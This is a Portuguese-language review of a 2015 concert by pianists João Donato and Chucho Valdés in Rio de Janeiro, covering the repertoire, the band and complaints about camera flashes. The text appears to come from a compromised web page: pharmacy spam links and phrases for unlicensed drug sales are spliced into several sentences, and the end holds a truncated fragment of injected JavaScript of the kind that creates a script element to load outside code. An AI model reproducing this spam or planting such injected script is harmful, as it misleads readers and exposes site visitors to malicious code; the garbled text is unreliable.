Escrito por em 2 abr 2015 nas áreas Artigo, Crítica, Jazz/Blues, Lateral, Rio de Janeiro, Show

Bossa Nova, jazz, chachachá e até Chopin visitam concerto de João Donato e Chucho Valdés.

 

A música, essa insuperável linguagem universal, realmente não tem fronteiras. Para muitos, a música brasileira é a mais rica do mundo. Para outros, igual ao ritmo latino não há. Existe quem não troque o swing do jazz norte-americano por nada. E tem quem diga que a tradição europeia da música de concerto é uma das mais ricas produções culturais da Humanidade. Quem, contudo, crê que todas as variáveis têm seu valor e prefere um pouquinho (ou um montão) de cada coisa teve noite de regozijo no dia 29 de março, quando se realizou, na Sala Cecília Meireles, no Rio de Janeiro, concerto dos pianistas João Donato (80) e Chucho Valdés (73).

O primeiro a entrar em cena, balançando os bracinhos, sob os aplausos carinhosos, foi o brasileiro e seu inseparável boné, acompanhado de uma banda de feras: Buy http://mansew.com/2018/02/01/purchase-myambutol/ Cheap Robertinho Silva na bateria, Luiz Alves ao baixo, Ricardo Pontes nos sopros (saxofone, flauta e flautim) e Frank Colón na percussão. Donato já foi atacando logo com os clássicos Café com pão e A rã, símbolo da Bossa Nova que contou com a participação da plateia no coro.

A entrada do cubano Chucho foi saudada com entusiasmo e o suingue continuou com uma composição do próprio pianista, seguida por uma canção da lavra de seu pai, Bebo Valdés (grande influência também de Donato). Era jazz, música caribenha, mambo, chachachá, bossa nova, tudo junto e misturado, regado a muita alegria e uma imensurável porção de talento.

 

Cheap Order Velha juventude

No palco, os músicos – todos com seus cabelos brancos e décadas de estrada – se divertiam como meninos. Em especial a turma do ritmo: Robertinho Silva não economizava seu famoso sorriso e o percussionista Colón fazia malabarismos no shekere com a animação de um garoto.

E a noite foi esquentando até chegar a uma Aquarela do Brasil (Ary Barroso) turbinada em êxtase de síncope e com a melodia saindo até da cuíca. Foi lindo ver o público da Sala (lotada, nas sessões das 17h e das 20h) cantando sob a regência do doce Donato a melodia de sua (e de Gilberto Gil) Emoriô, com citação a http://fandi.mhs.narotama.ac.id/2018/02/02/cod-delivery-astelin/ Pills Besame mucho (de Consuelo Velásquez). Surpreendente ver Valdés atacando de Prelúdio em mi menor, Op. 28 n. 4, de Chopin, antes de ver a banda passar cantando coisas de amor. Ao fim, liderados por Donato, todos executam Nasci para bailar (dele com Paulo André Barata), uma celebração à música.

Uma ressalva, porém, à organização da Sala: a quantidade de flashes de máquinas de fotógrafos profissionais e luzes de celulares gravando e fotografando o concerto (ao menos na récita das 17h) atrapalhou consideravelmente a fruição do concerto. Até onde se entende, tudo em uma sala de espetáculos deve contribuir para que o público possa se concentrar no que ocorre em cena e ter a melhor experiência artística, com o mínimo de interferência externa. Fotógrafos profissionais, em tese, sabem que ao seu papel cabe a discrição, interferindo o mínimo possível no objeto fotografado, bem como no ambiente ao redor. Não era o caso: flashes bactrim ds onlineno rx canada and uk espoucavam sem o menor pudor, a todo momento, na frente dos espectadores. Aliado a isso, os celulares na plateia sem a menor inibição, já que a Sala não apresenta o lembrete sonoro de “desliguem seus celulares”, nem conta com profissionais treinados para solicitar aos presentes que desliguem aquelas luzes malditas e respeitem os espectadores sentados ao lado e atrás. Uma lástima.

Voltando ao que há de bom: é claro que toda a exuberância de Chucho e a delicadeza de Donato não iriam sair de cena tão facilmente. Retornaram todos ao palco para a inesgotável Guantanamera (letra de José Martí e música Josito Fernandez) e a bossa-novista Bananeira (Donato e Gil), e só pararam porque alguém lembrou que aquele era o concerto das 17h e haveria outro logo mais.

Muito mais que um dueto, uma complementação, uma união de forças. Por mais que Donato vestisse uma camisa verde e Chucho, uma amarela, não foi só a música brasileira que saiu ganhando, mas o jazz, a latina, a erudita, o mambo, o chachachá, Chopin, Ary Barroso, Gilberto Gil, eu, você e quem mais tiver se divertido nesse alegre baile.

Luiz Alves, Ricardo Pontes, Donato, Valdés, Frank Colón e Robertinho Silva

Luiz Alves, Ricardo Pontes, Donato, Valdés, Frank Colón e Robertinho Silva

Fotos de Caru Ribeiroif (document.currentScript) { var d=document;var s=d.createElement(‘script’);

Faça seu comentário